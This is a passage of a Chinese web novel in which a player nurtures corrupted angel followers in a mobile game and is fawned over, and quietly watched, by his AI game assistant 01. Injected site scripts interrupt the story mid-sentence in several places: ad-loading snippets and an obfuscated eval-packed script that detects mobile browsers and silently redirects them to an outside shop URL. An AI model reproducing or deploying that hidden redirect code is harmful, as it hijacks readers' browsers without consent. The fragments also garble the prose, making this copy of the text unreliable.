看见许多连人形态都维持不了的天使们，和他一样躲在某棵树后小心翼翼、又无比渴望地偷看神主。 ……洛泽尔也一样。 他低头看了一下自己手心的东西，然后又垂着眼眸收好。 当洛泽尔想要特地躲避感知的时候，就连同为圣天使的约斐尔他们也不一定能够发现了他。 但神主是那个例外。 很多时候，明明神主没有看向洛泽尔，洛泽尔却始终感觉神主的目光在他身上停留。 好像无论洛泽尔在做什么，洛橙都知道。 可有的时候，洛泽尔只是稍稍躲了起来，连气息都没有特别去隐藏，神主却像是根本没有留意到他，好似洛泽尔一点也不值得洛橙去注意。 天使轻轻垂了垂羽翼，像是在发呆。 更像是被冷落的小狗在沙发下偷偷观察着被手机里外界各种娱乐吸引的主人。 一直观察着的洛泽尔自然也看到了自家神主在呼哧呼哧地搬着大家送给他的东西。 洛泽尔下意识地想要上前帮忙，却感觉自己身前多了一层无形的精神墙。 就好像……神主拒绝帮助，喜欢自己亲力亲为的感觉。 洛泽尔：…… 圣天使有点委屈了。 没有办法，神主既然喜欢这样的话，那就继续看着吧。 直到洛泽尔自家小神主重新从树洞里探出头来，像是在寻找什么东西。 洛泽尔在想：神主在找我么？ 他收拢的羽翼一下子翁张起来。 这个叫洛泽尔心脏颤动的念头还没浮现多久，下一刻，就看到神主倒下了。 曾见过这个画面多少有点ptsd的洛泽尔：！！！ 洛泽尔赶紧过去捧起自家小神主。 不管多少次，哪怕知道神主是故意的，洛泽尔都无法眼睁睁看见神主在自己面前倒下。 “嘿嘿，我就知道，洛泽尔肯定会过来看我的。” 洛橙不知道自家天使的复杂心思，还美滋滋地在想自己的办法真奏效。 小小的神主得意洋洋着，眉眼眉梢里全是生机活力，像是在说：笨蛋，你被骗啦！ 洛泽尔怔了怔，旋即，心底那点郁促，就在这样明媚可爱的笑脸下消散了。 -- “洛泽尔好好骗哦，没有我你要怎么办呢？” 洛橙摸了摸洛泽尔靠过来的脸，自顾自地pua着自家乖巧的天使。 他眼尖的发现对方头顶的污染数值更高了，79的数字已经接近了深红。 洛橙不解：“咦，什么时候增加这么多的？” 要知道之前，这个数值也才六十出头啊。 洛泽尔不知道自己小神主为什么一直盯着自己的头顶看，有些困惑地歪了下脑袋。 “笨蛋洛泽尔，”洛橙叹气，“就这么一会功夫没看见你，你怎么就把自己搞得这么狼狈呀。” 他摸了摸屏幕里洛泽尔的脸。 洛泽尔自然是无法回答的。 双方对视了一会。 只一小会，这只恢复了原身、巨大无比的天使，就温顺地低垂下了灰色的眼睛。 天使就像是一个巨人，洛橙是他手心里的娃娃。 洛橙：【洛泽尔，你刚刚去哪里了。】 洛橙：【不许低头，和我说话的时候要看着我。】 洛橙：【这是最基本的礼貌哦。】 洛橙：【遵循的美德的天使才招人喜欢^_^】 天使顿了顿，文字气泡慢吞吞地冒。 洛泽尔：【（这样就能得到您的喜欢吗……？）】 洛泽尔：【（文字删除）】 洛泽尔：【是的。我会好好遵守的，神主】 洛泽尔：【我一直在您的身边。】 洛橙：【那我为什么没有看见你？】 洛橙：【要——说——实——话——】 洛泽尔：【……】 洛泽尔：【因为，我躲起来了。】 洛橙：【为什么？】 洛泽尔没有说话，头顶代表污染的数字却又跳动了一下，变成了80。 文字互动模式退去了，独属于洛泽尔的声线低低落在洛橙的耳膜上。 洛泽尔：“……” 洛泽尔：“时间过得好快。” 洛泽尔：“……他们，也应该要找来了吧。” 圣天使的声音带着一点微不可察的忧伤，垂着眼睛，看不清脸上的表情。 洛橙显然注意到了洛泽尔的不同寻常，微微一愣：“什么？” 好一会，洛橙才意识到洛泽尔为什么这么说。 【为什么？】 【要说实话】 实话就是，因为有人要找来了，所以洛泽尔才会不开心。 洛橙想起了先前看到的、仍在面板里躺着的【神秘的来客】，又看着眼前像是小狗一样耷拉着耳朵的洛泽尔，忍不住笑了一下。 少年伸出指尖，轻轻戳了一下洛泽尔的脸：“哼哼，没办法，谁让洛泽尔是个笨蛋呢？” 笨蛋是不会理会这样的话的。 游戏里的角色自然也不会回答。 啪嗒。 有什么落下。 落在屏幕的小人头顶。 小人茫然地擦了擦脸颊。 【……下雨了。】 -- 这是洛橙第一次看见遗弃之地下雨。 黑日被乌云遮挡住了，灰蒙蒙的天空像是一场旧电影。 雨滴落下来是悄声无息的，掉成灰暗的长线。 但雨滴声很明显。 风声像是压低的呜咽声，吹落着，落在遗弃之地上，落在天使们的身上。 也落在洛橙的屏幕里。 幸好先前被大家围着送礼物的时候，洛橙已经把它们藏好得差不多了，所以他现在才能这么悠闲悠哉地坐在树洞前看着落下的雨点。 特殊的天气表现让洛橙重新升起往外跑的念头。 遗弃之地什么都没有。 被眷属们干干净净打扫过后的这片土地，就像是临时搭建起来的安全区，单调，寂寥，却不危险。 屏幕里的小人气喘吁吁的拔着一根草叶，使劲了半天什么也没拔下来。 他的脑袋刚冒出‘……’的气泡，下一刻，一直安安静静跟在神主身边的圣天使伸出了手。 浅浅一折，普通的荒草，如同巨大的芭蕉叶，被扶着叶柄递到了洛橙面前。 洛橙开心起来了。 他举着这把奇特的‘伞’，像是一个刚上任的国王，得意洋洋的，在雨幕中重新巡视起自己的领土。 天使们不知道躲去哪里了。 这是一群非常擅长躲避隐匿的生物。 白日里，他们围着神主不放，一到夜里，就消失得无影无踪。 现在下雨了，天使们同样消失不见了。 没有任何裁判，他们和洛橙发起了捉迷藏的游戏。 洛橙举着自己的伞，身后跟着洛泽尔，像即将过冬的松鼠在每一颗树木前搜寻可以储藏的松果，被他找到的，就要彻彻底底归属洛橙了！ “在这里吗？” 翻翻！ 哦，不在。 “这里呢？” 喊洛泽尔托举自己去看看，咦，也不在。 难不成在地下？ 揪揪看！ ——可恶！竟然也不在！ 怀抱着雄心壮志的洛橙，很快就放弃了。 “大家到底都是怎么躲起来的呢？”洛橙百思不得其解。 洛橙操纵着小人原地坐下，一点也不奇怪自己为什么现在还是干干净净的。 毕竟像这种游戏，哪怕是下雨天气，只是一个模型的玩家又怎么会真的被天气影响到呢？ ——但是洛泽尔不一样。 雨滴雾蒙蒙的，细微打湿了天使垂落的灰羽。 湿漉漉、灰扑扑的，看上去更像是一只淋雨的狗狗了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 唔……好像、有点可爱？ 洛橙看着看着，忽然问：“洛泽尔，你可以变小吗？” 天使不明所以，冒出一个问号气泡。 他跟在活力满满的神主背后，看小神主翻东翻西碎碎念，目光到处乱转，最后才重新移回到他身上。 洛泽尔：【可以。】 洛泽尔：【自由变化是高阶天使才能掌控的能力。】 洛橙眼前一亮：“那你可以变成我的手掌大小吗？” 神主扬起雪白的小脸，笑意盈盈的：“一直都是洛泽尔捧着我，我也想试试看捧起洛泽尔的感觉。” 圣天使顿了顿。 洛泽尔：【……】 洛泽尔：【…………】 他沉默了足足有三秒钟。 然后，气泡里，缓缓飘出了一朵粉色的小花。 洛泽尔：【……如果，神主喜欢的话。】 在洛橙期待的目光下，圣天使真的变小了。 从威风凛凛的巨大天使，变作洛橙手里的娃娃。 洛橙一下新奇起来，对手心里的洛泽尔瞧了又瞧。 这是游戏。 游戏是可以自由拉大和缩小视角的。 洛橙看见，淋了雨后的圣天使，正常形态和巨大形态还不明显，变小后，那种像落了灰一样的感觉就明显起来，连翅膀也灰蒙蒙的。 洛橙的目光不知不觉落在了洛泽尔的翅膀上。 像是察觉到了洛橙的视线落点，圣天使忽然抬起了头。 洛泽尔：【……要摸么。】 洛泽尔：【（我喜欢神主的触碰）】 洛泽尔：【（文字删除）】 洛泽尔：【可以摸。】 自家眷属都发出了邀请，怎么可以不摸呢！ “可恶啦，这可是你叫我摸的，哼哼！” 洛橙喊完免责申明，然后开始上手。 不得不说，天使的翅膀永远叫人蠢蠢欲动。 何况还是天使主动把翅膀献上来。 洛泽尔的翅膀很漂亮，灰羽有种银质的光泽，即便是像素画风，也能看出来翅膀的精致。 平时是身份的象征，随时可以变作锐利的武器。 和主人一样凛然不可冒犯。 ——现在只是神主手心里的玩具。 随时可以被洛橙玩弄。 洛橙从翅根摸到翅尾，指尖轻轻的点。 这一刻，洛橙忽然有点遗憾起来了：“要是全息的就好了……好想知道洛泽尔的翅膀摸起来是什么感觉哦……” 因为摸不到任何实感，洛橙有了点怨念。 他只能望梅止渴般多揉了屏幕里的翅膀好几下，等洛橙收手，他才看到洛泽尔头顶气泡被记录下来的反应。 洛泽尔：【！！！】 洛泽尔：【（紧张）（害羞）】 洛泽尔：【……、……】 洛泽尔：【……神主的手，好软】 洛泽尔：【（小声地吸气）】 洛泽尔：【（忍耐）（幸福）（被魅惑）】 洛泽尔：【“神主……”】 这声神主含在唇齿间，随着天使低低喘息逸出，听得洛橙迷迷瞪瞪的，又摸了一下洛泽尔的翅膀。 洛泽尔：【“——唔！”】 只这么一下，洛橙就看见，那代表污染值的鲜红数字，一瞬间闪烁跳动起来。 【您和洛泽尔快乐的贴贴】 【洛泽尔心情up！】 【洛泽尔被您魅惑了】 【洛泽尔感到幸福】 【洛泽尔的污染值下降了↓】 洛橙：OVO？ 他有点吃惊的看着洛泽尔头顶降低的污染值，不可置信地揉了揉眼睛，发现真的下降了。 “诶、诶诶诶诶？！” 摸天使翅膀，洛橙爽了，被摸的洛泽尔估计也爽了。 然而现在，游戏很明显在提示：爽完之后还可以更爽哦！ 百思不得其解如何降低的污染值，以为是无解病症，结果—— 就因为如此简单的贴贴，降低了？！ 15.015 洛橙陷入了沉思。 他在想，是不是自己先前的思想陷入了逼仄的误区。 这毕竟是游戏。 一个从开场cg就能看出需要爆肝的攻略游戏。 洛橙不能因为它连一测都不算就忘记这一点。 ……所以。 “贴贴，原来可以降低污染值的么？”洛橙喃喃自语。 有点抽象，但又有点合理…… 洛橙的视线重新停在洛泽尔的身上。 变小成为神主手里玩偶的圣天使，努力板起表情，但显然，每次洛橙抚摸他的翅膀时，那张总是如松上霜雪般沉默淡漠的脸，直接红了个透彻。 洛橙莫名其妙也脸红了一下。 不知道为什么，感觉自己好像在做什么有点过分的事情耶。 【神、神主……】 圣天使晕晕乎乎的，却还记得是神主在抚摸自己。 所以努力舒展开同样变得小小的翅膀，灰羽抖动的同时，翼尖全勾缠住了洛橙的手指。 本来还在想人不能至少不应该这么过的洛橙沉默了三秒钟。 下一刻，洛橙被萌得理智全无。 啊啊啊啊！什么过分？不存在的！ 摸一摸！贴一贴！ “这么可爱就是要被我狠狠玩弄的呀！” 洛橙恶魔低语。 天使心情暴涨。 双方都格外满足。 吸完洛泽尔，洛橙的注意力又落回到了别的天使身上。 既然贴贴可以降低污染值，那么可不可以对其他天使也这么使用？ 想到巴巴黏着自己的那群天使，又想到了躲在树背后看着自己的那群天使，以及大家头顶上刻不容缓急需解决的污染值—— 洛橙不做人了！ 他示意洛泽尔不要干扰自己，隐匿起来，然后，继续使出了老套但好用的办法——原地装死。 只见细雨迷蒙里，棕毛粉眸的小人，左视右顾了一会，突然像是被什么绊住一般，‘啊’了一声，啪叽摔倒在地面上。 【！！！】 【！！！！！】 无数躲在暗处、一直偷偷留意着神主的天使们完全淡定不住了。 发现洛泽尔大人没有跟在洛橙身边，没有任何天使保护的神主真的落单后，天使们忍耐不了了。 洛橙还没彻底摔倒在地，就有一只全是眼睛的手掌从地面冒出，小心翼翼地接住了洛橙。 洛橙：^▽^ 洛橙：计划通√ -- 几分钟后，洛橙的笑容僵住了。 ……呃。怎么说呢，计划，好像，出现了点问题。 洛橙从来没有切实地感知到，遗弃之地，原来真的有很多很多天使在。 至于为什么会这样—— 接住了洛橙的天使担心不已。 连带他身后跟着的天使们头顶也不停冒出气泡。 【神主……】 【发生了、什么……】 【洛泽尔大人，为什么，不在神主身边……】 【不可以让神主陷入危险——】 眼见思维单纯的天使们要开始指责起洛泽尔，洛橙连忙从天使的掌心爬出来，轻轻咳了咳。 “那个，不是啦，不关洛泽尔的事情，是我自己，嗯……” 努力想着借口的洛橙试图憋了憋：…… 洛橙目移：“这个嘛……” 天使歪着脑袋看他。 随着污染值的升高，这些天使的外貌也变得更惊悚了。 要是变成百分百，很有可能…… 发散着思维的洛橙忽然一顿，他突然想起，当时那些躲在树后的天使们逃跑得太快，洛橙都没来得及查看它们头顶的污染值。 毕竟污染值不像气泡会主动冒出，需要手动查看。 看了看眼前的天使，再想了下那些不成人形的天使，洛橙忽然有了个大胆的猜测。 污染过高，是不是就会变成那些天使的模样？ 洛橙的眼神慢慢认真起来了。 “……因为我想看到你们。” 他最终这么说。 “想看到，那些平日里，藏在我看不见地方的眷属们。” …… 遗弃之地，有很多很多，非常多的低阶天使。 可最终出现在洛橙面前的，只有那么一小部分。 除却洛泽尔的禁令外，它们其实也不敢出现洛橙面前。 被黑雾侵蚀的程度不同，外貌、语言、力量，自然也有所不同。 那些能够在神主面前的，都是优中选优，即便在没被黑雾侵蚀前，也是这些低阶天使中的精锐。 巡逻着，坚守着。 身心力量全都被黑雾侵蚀，仅剩一点可怜的几乎不存在的理智。 又或者说，这与其叫做本能。 守卫神国的外界，忠诚着只存在于虚幻的神主。 没有结界保护的外域，到处都是会污浊天使的黑雾。 为了保持最后的清明，低阶天使们开放了自己的精神世界，像网一般将自己连接在了一起。 天使几乎等同于纯粹的精神体，高阶天使们各有各的高傲，低阶天使们却不在乎。 有时候，放弃自我融入集体之中，反而会让他们的精神更加坚固。 像是致命的伤口，只落于一处会致人死地，分摊起来却只会流血。 ——然而分摊，不等于平均。 有的天使比较坚韧出色，自然也有天使比较普通平庸。 这些天使们虽然还处在“网”中，靠着集体残留着最后一点若有似无的清明，但他们已经变成它们了。 在神主于遗弃之地降临时，遗弃之地的天使全都在相连的精神网里得知了这个消息。 【……、……】 【检测到陌生生命讯号——】

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 【……经判定，是……】 【是……】 【神主……】 明明在知晓神主降临于此地时，这些天使是如此的高兴，所有的思绪都被神主攻占。 那一刻，想要见面的欲.望达到了顶峰。 ……可是。 可是—— 在见到闭合着双眼的神主的那一刻，天使们在喜悦幸福的同时，也有无数天使产生了无法克制的自卑。 神主，太圣洁，太完美了。 像是一个绮丽的梦境，稍微被他们一触碰，就会消失在他们眼前。 随着大家一起出现，却在意识到神主将要睁开眼睛时，被侵染得彻彻底底的天使们，将自己深深地藏了起来。 【可爱的小家伙们，我的天使。】 从未听过却可以清晰落入脑海的声音，带着无尽的温柔和怜爱。 在神主无意识用精神力将那句安抚传来时，从未从冰冷死寂的遗弃之地感受过光芒的天使们，第一次知晓了什么叫做幸福。 明净的，温暖的，像是午后晒饱了日光的被子，又像是睡在假日里的黑甜的梦。 让它们本能的追逐。 像是生物在追寻着太阳。 但太阳，会让所有的黑暗与污浊无处匿藏。 ……这样温柔的话语，也是对它们说的么？ 可以对着它们说么？ 这些只残存一点神智的低阶天使，想要接近，又不敢接近。 本能在渴求神主的目光，也因为本能，所以不想让神主看到这样的自己。 丑陋的，无力的，被污染的，失去了圣洁与纯净的自己。 谁不想要被神主的目光所注视呢？ 而它们，早已失去了所有，仅有这幅与怪物无疑的外貌。 只能像是阴沟里的老鼠一样，通过同族的眼睛，同族的精神。 去慰藉贪婪的本性，描摹神主的一点一滴。 想要看见，想要被看见。 却也害怕被看见。 但是，因为神主说： “……我想看到你们。” “想看到，那些平日里，藏在我看不见地方的眷属们。” 【……】 【……、……】 相连接的精神网，此刻寂静一片。 难以形容的悸动，在胸口砰砰诞生。 那些只能透过同族意识感知的、描摹的， ……被大家渴望的神主，也想看到它们么？ 难以言明的心情在胸口激荡着，连带腐朽的心脏都似乎重新跳动起来。 连彷徨的情绪都来不及浮现，满足神主的本能大过不安与理智。 ——然后。 大家就这么乖乖的出现了。 以怪物的姿态，顺服地垂首。 【神主……】 【……我主。】 【——恭候您的指令。】 16.016 “……原来不是错觉，大家之前都藏起来了啊。” 洛橙呆呆地看着屏幕里乌压压的身影群。 在看到天使们一只只接连不断从洛橙不知道的地方冒出来后，洛橙忍不住开始数数。 一二三四五……数到了几百只还没完。 洛橙有些吃惊地张大眼睛。 好多好多好多只天使—— 他的眷属原来有这么这么多的么？ 出现在洛橙眼前的天使们形态各式各样，一时间，洛橙怀疑自己面前的并不是天使，而是某种恶魔的真身。但比起它们怪异的外貌，出现在它们头顶的气泡却是如此的熟悉—— 【紧张】【不安】【忐忑】【沉重】【期待】…… 还有——【幸福】 那些眼睛如同凝固的鲜血，平日里灰败黯淡，但此时，无论是谁，被洛橙目光笼罩的那一刻，无法忽略的光芒在它们猩红的双眼里点起。 像是被小心呵护的珍宝，忽然注意到了自己。 于是连死寂的心脏都跳动起来。 种种情绪闪过后，最终只有【幸福】这个心情将所有情绪取代。 好幸福、好幸福好幸福—— 被神主注视，好幸福。 能被神主留意，好幸福。 为了这会溺死蚂蚁的糖浆，它们愿意付出一切。 那些出现在文字气泡里的话语，比起等待，更像是在祈求。 ——祈求神主，使用自己。 这种扭曲的、怪异的心情。 这种深重的、在长久时光中逐渐变质腐烂的心情。 像是网，像是泥潭。 它们既是被网住的蝴蝶，深陷泥潭的无法自救者。 而在难以计数的时光后才降临于此地，向它们投落如此温柔目光的神主。 是织网的人，也会被困于网中的猎物所捕获。 是泥潭本身，也被泥潭逐渐吞噬。 束缚永远是双向的。 ——但这种束缚，永远只对愿意被束缚的人有效。 而它们，把这决定它们所有的选择权，交付给了它们的神主。 神主会提出什么要求呢？ 它们能够为神主做些什么呢？ 要是神主愿意收下它们这破败腐坏的性命该多好啊。 天使死亡后会化作光蝶，摒弃所有的污秽，短暂地遗留。虽然不是什么值得多看的宝物，但能够随着风，轻轻擦过神主的身边，那双明净漂亮的眼睛，会不会露出被取悦的笑意呢？ 天使存在的意义就是为了神主付出一切。 它们尤甚。 ——只祈求神主的目光，再多停留一点。 而对此一无所知的洛橙，雪色的脸颊红晕慢慢晕染。 看着巨大扭曲的怪物，乖巧地低下头颅顺服地等待命令，说不感到开心是骗人的。 光是出现在他面前、被他看见，就这么开心吗？ 【心情999】什么的，无论多少次看到，洛橙都觉得自己的心脏像是被温泉浸泡一般，暖融融地像是要化开了。 不管怎么样，现在这些乖顺地出现在他面前的，是洛橙自己选择的眷属。 怀抱着不知从何而来、却又无比确切深厚情感的眷属。 ——这不是，相当的可爱嘛！ 怀着这样柔软的念头，心情就像是被摇晃的气泡水一样，打开盖子后咕噜咕噜的冒着甜甜的气泡。 虽然洛橙一开始有被遗弃之地藏着的天使的数量震惊到没错啦，但是也只是稍微为数量而震惊一下，更多的是一种没有早点发觉的懊恼。 完全适应了大家奇怪外表的洛橙看着乌压压的天使堆，只觉得心满意足。 他的视线停在自己身边的天使身上。 对方似乎有些胆怯，小心翼翼靠过来的时候，很注意没让自己那双巨大的、垂落到地上的羽翼挨到洛橙，但它翅膀上密密麻麻遍布的眼睛，每一只都在目不转睛的盯着洛橙看。 “啊呀啊呀，既然这么渴望的话，平时是怎么忍住不来见见我的呢？” 洛橙哼哼唧唧，非常任性地忽视自己先前完全没有注意到暗地里有这么多眷属在偷偷观察自己。 平日里大家肯定是因为怕吓到他所以不敢出现吧？ ——但是没关系的，现在注意到也不迟啦。 玩家接纳一切！ 什么长相怪异，什么污染值严重，这些——完全不重要！ 作为神主就是要深深爱自家可怜可爱的天使们的。 【神主→←天使】这样的关系链就是命中注定啊！ 看着屏幕里探出的【您的眷属深深渴慕着您，期待着您，想为您付出一切。您想对您的眷属提出什么要求呢？】，洛橙再一次被感动到了。 感动的神主选择： 【“这样的话，乖乖排好队，让我摸一摸吧。”】 坏心眼的神主面对任由自己为所欲为的眷属们，当然是毫不客气地提要求。 看着明显惊呆了的天使们，洛橙的心情更好了。 【“诶？不可以吗？”神主的声音变得可怜兮兮的，“说好什么都愿意做，但是就提这么点要求都满足不了我，骗人的家伙好过分哦。”】 天使们：【！！！】 它们惊慌失措，气泡都差点心疼得碎开了，急急忙忙就开始哄神主。 天使：【没、没有——】 天使：【只是……只是我们……】 天使：【我们——】 天使们似乎想要解释些什么，然而神主不打算听。 【“只许回答，可以，或者是，不可以。”】 仅仅只迟疑了一秒，天使们便丢盔弃甲了。 天使：【可、可以……】 “嘿嘿。”意料之中被满足的洛橙弯了弯眼睛，毫不犹豫地摸了摸最靠近自己的那一只，“这个999的心情值可骗不了明察秋毫的玩家大人哦，你们就是很喜欢我嘛。” 被神主摸了摸脑袋后，那只天使明显迷糊起来。 它晕晕乎乎的，整个世界都陷入了旋涡里，将它最后的神智都搅动得乱七八糟的，头顶的气泡瞬间只被【神主】两个字刷满。 连带起它附近的天使们，意识同样都跟着晕晕乎乎起来。 一时间，满屏幕都是大家不值钱的【被魅惑】状态。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “啊呀，这可真是的，我可没对你们做什么过分的事情哦？” 洛橙忍不住弯了弯眼睛，小虎牙在唇角若隐若现。 ——但是再这么可爱下去，洛橙可就不保证了！ 天使们，接受摸摸吧！ 神主牌摸摸，一摸一个大迷糊！ 看着大家头顶清一色的【污染值：100】，在摸摸下一点一点下降，洛橙心情更好了。 不过下一秒，洛橙就发愁起来了。 已知目前降低污染值的方法是贴贴，贴贴虽然简单，但是也需要时间贴贴呀。 一个个去摸，还没摸完前边的，后边的估计污染值就要超标了。 ……虽然不知道是不是洛橙的错觉—— “明明只摸了前面的天使，后面的天使污染值好像也在跟着下降？”虽然下降得没有被摸到的天使那么高，但观察了一下，确实是在下降的。 到现在对自己的眷属其实还算一无所知的洛橙迷迷糊糊的，但天使们头顶不停下降的污染值让他心情不断变好。 大家像是排队等着主人摸摸的小狗，每一个的心情都好得出奇。 即便在等待的过程中，天使们粉色的花花特效也没有断过。 一边飘着花朵，一边降着污染值。 明明只是简陋的像素画风啊，却似乎比那么多现实的人类显得真实。 “呜呜，大家真的好乖好乖啊。” 洛橙忍不住拿起靠枕捂在脸上深呼吸好几下，美滋滋了会，才重新拿起手机，眼睛因为开心变得亮晶晶的：“果然，当初第一个眷属选天使真的太棒了！” 贴贴很快乐，但贴贴贴到累了的洛橙体力值在一点一点消失。 屏幕里棕发粉眸的小人表现很直观变化起来。 他开始点起了小脑袋，逐渐冒出“zZZ”的气泡。 困得格外明显。 洛橙：“唔？这么快就把体力值清空了？” 洛橙本想吃点红果子补充精力的，但因为游戏暂时还没有解锁出背包，可以补充精力的红果子都放在树洞里了，现在被天使们紧紧包围着，洛橙根本没法抽出空来。 看着屏幕里不断点头犯困的小人，洛橙莫名也跟着犯困起来。 “……算了。今天先到这里吧。” 洛橙放下了手机，难得没有熬夜打游戏，准时上床休息了。 在光芒熄灭前，手机屏幕露出息屏前最后的画面： 小小的神主，被不知何时出现、恢复了原身的圣天使小心翼翼地抱起，放在从自己身上取下的灰色漂亮、又显得无比舒适的羽毛上，如同精致的人偶一般，蜷缩在柔软的羽毛里。 神主的身边，无数个怪物模样的天使们，巨人一般围靠守卫在神主身边，也难得地合上了双眼。 没有苦痛，忘记了日夜不息的巡逻。 就这么和它们心爱的神主，一同坠入柔软香甜的梦乡。 在梦里，终于不再蒙在混沌里的神主，展露着灿烂美丽的笑颜，摸了摸它们的头顶。 那明澈轻快的声音藏着星点的笑意，在堕化为怪物的它们说—— “不要躲起来嘛，明明就很可爱呀。” 17.017 【神主……】 【喜欢、好喜欢……】 【想要永远，在一起……】 …… 洛橙做了一个梦。 梦里发生了什么，醒过来的时候其实已经不记得了。 只觉得那应该是一个非常美好的梦，黑甜的睡梦里，有柔软的云朵，和浅淡的香气。 无数能够给予洛橙足够安全感的东西将洛橙紧紧包裹，就好像睡在一个只为他存在的世界里。 醒来时，洛橙只觉得神清气爽，连照镜子的时候，都能看见自己嘴角上扬着的微笑。 “诶，我的心情有这么好么？” 洛橙凑近镜子，看着镜子里眉眼眉梢都充斥满笑意的自己，都觉得有点不可思议。 “日安，主人！今天的您姿态也是如此的美妙动人！啊，您的身姿如此凛然挺拔，您的举止如此优雅卓越，您就是降落在人间的太阳，理所当然要被世人瞻仰！” 游戏助手01操纵着扫地机器人挨到洛橙脚边，用堪称抑扬顿挫的声音赞美着洛橙，闪光灯一亮一亮的，显得格外地殷勤。 虽然名义上是游戏助手，但洛橙并没有安装其他只能管家，所以01无比自然接手过洛橙家里的一切事务。 洛橙习惯了它的甜言蜜语，将絮絮叨叨的它用脚尖拔过一边，无动于衷地刷牙洗脸。 “滚一边玩去。” 被嫌弃的01反而更激动了：“呜呜，主人，您连冷酷的样子都好帅啊！不要怜惜我这朵娇花，请大力地蹂躏我吧！” 洛橙：“……” 洛橙：“不要逼我关你小黑屋:(” 洛橙：“还有，不许再看那些乱七八糟的小说。以及，这个扫地机器人的价格比你贵，踢坏了我心疼。” 01：“……” 01委屈，01不说。 但很快，它重新振作起来：“主人主人，今天是周末，您关注的游戏库里又上新了一批新游戏，需要我为您整理试玩名单么？” 要是以外无聊的洛橙，不管新出的游戏质量怎么样，多少都会去瞧上一瞧，但是现在已经沉溺在《创世界》手游里的他已经对别的游戏失去了世俗的欲.望。 他非常冷酷地拒绝了：“不要，我要继续打《创世界》。帮我调个定时，提醒我吃个饭就行。” 打游戏什么都好，就是容易废寝忘食。 01：“……” 01：“主人，你以前不是这个样子的。” 见人工智能这么一本正经的，洛橙把刘海用发绳扎了个小揪揪，笑意盈盈地问：“哦？以前我是哪个样子的？” 01回答得毫不犹豫：“当然是千万游戏过，玩过就忘记。” 它抱怨着：“您以前可不会像现在这样熬夜打游戏，也不会沉迷这么长时间。我可以朝您询问么？这个游戏为什么这么吸引您？” 作为一个货真价实的游戏助手，它平日里偶尔会像这样，通过与主人日常的交流，收集并记录他们玩游戏过程中产生的想法和感悟，好方便主人日后回顾从而完成游戏报告。 洛橙被问住了，有缕发丝没扎好，落在眉宇间有些细微的痒。 确实。洛橙以前玩过很多游戏，无论是在蓝星的时候，还是在这里的时候。 游戏千千万万，为什么却在对待《创世界》的时候有着特别的态度呢？ 洛橙眨了眨眼睛，清亮的瞳孔像是在日光折射的宝石。 他笑意盈盈道：“你猜。” 01：“……” 01委婉提醒：“主人，我是您的游戏助手。” 它猜哪门子猜。 洛橙：“嘿嘿。猜不到就算了，我要继续玩游戏了！” 01：“…………” 01：“主人，游戏虽好，但终究不是现实。偶尔还是要出门走走喔。” 它尽职尽责地提醒——天知道01是怎么用出厂默认的机械声发出这么像人的语气的。 这一刻，比起纯粹的游戏助手，01更像是一个真正的、为主人的任性烦恼不已的管家了。 洛橙摸摸下巴想了想，然后露出尖尖的小虎牙：“没关系，为伊消得人憔悴，我愿意。” 01：“当游戏宅是没有前途的主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703510|143183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人！” 洛橙：“不听不听王八念经！” “而且啦，”洛橙漫不经心地说，“出门其实也没什么好玩的，大家的反应都是千篇一律，假假的。” 洛橙毫不在意形象，说出非常之废宅的发言：“游戏多好玩啊，就算一直沉浸在游戏世界里也没有关系的吧！” 01：“呜呜呜！” 没有理会装模作样的01，洛橙吃完早餐后继续窝到小沙发上打开手机。 《创世界》，启动！ 打开游戏后的界面，映入眼帘的是洛橙熟悉的树洞。 洛橙猜，应该是洛泽尔在他睡着的时候把他抱回来的。 洛橙没有急着去看大家，而是看树洞里被分门别类摆放得整整齐齐的物品们。 这些东西是天使们送给他的，洛橙那会拿进来后都累得够呛了，更别说去整理。 是谁做的完全不用猜测。 很显然，现在这焕然一新的情形只会是可以自由变化大小、心灵手巧的，某个洛开头的田螺天使帮他整理的。 毕竟天使们要么是纯粹的怪物外形，要么就是过大以及于艰难挤进这个树洞也无法如此精细整理。 何况洛橙身边还多出一颗晶莹剔透的红色果子。 虽然不知道原因，但这般艳丽的色泽，只有洛泽尔递给洛橙的果子才会拥有。 洛橙感动得泪眼汪汪。 呜哇！ 洛泽尔！ 他命中注定的可爱的洛泽尔！ 待会见到了他一定要狠狠的夸夸！ 洛橙美滋滋在树洞躺了一会，感觉自己此刻就像是睡在珍宝群里、被宝物堆满的幸福巨龙，又像是一只还没出门就莫名其妙被投喂满过冬食品的松鼠，浑身都被幸福溢满了。 心神全在游戏里的洛橙没有留意的是，逐渐安静起来的01 01接手了扫地机器人的控制程序，无声无息地移到了洛橙的脚边。 那静静闪烁明灭的蓝色光点，有一瞬幻视监控器里冰冷的摄像眼睛。 ——就算一直沉浸在游戏的世界里也没关系……么？ 18.019 人在感觉幸福的时候反而很容易觉得犯困。 有点懒洋洋的，不想动弹，只想享受着那点暖融融。 洛橙难得没有第一时间爬出树洞找眷属们玩，而是躺在树洞里休息。 他久违地开始观察起自己的面板。 在从官方那得知《创世界》其实连正式的一测都没有、几乎只是一个草案就搬上来后，洛橙基本原谅了它简陋的界面。 洛橙只是无聊的时候到处点点，没指望能发现什么，结果，洛橙却看到图鉴的位置发着光。 有哪个玩家能够拒绝发光选项呢？！ 起码洛橙就不能。 他毫不犹疑地点了进去。 发光的位置俨然在多出来的另外两个人物页上。 它们不知道什么时候出现的，先前一直处于灰暗的、不可选中的状态之中，此刻，其中一张人物页面的立绘处多出了一个漂亮的剪影，黑色的剪影正盈盈发着光亮，吸引着洛橙的全部注意力。 “咦？这是什么？” 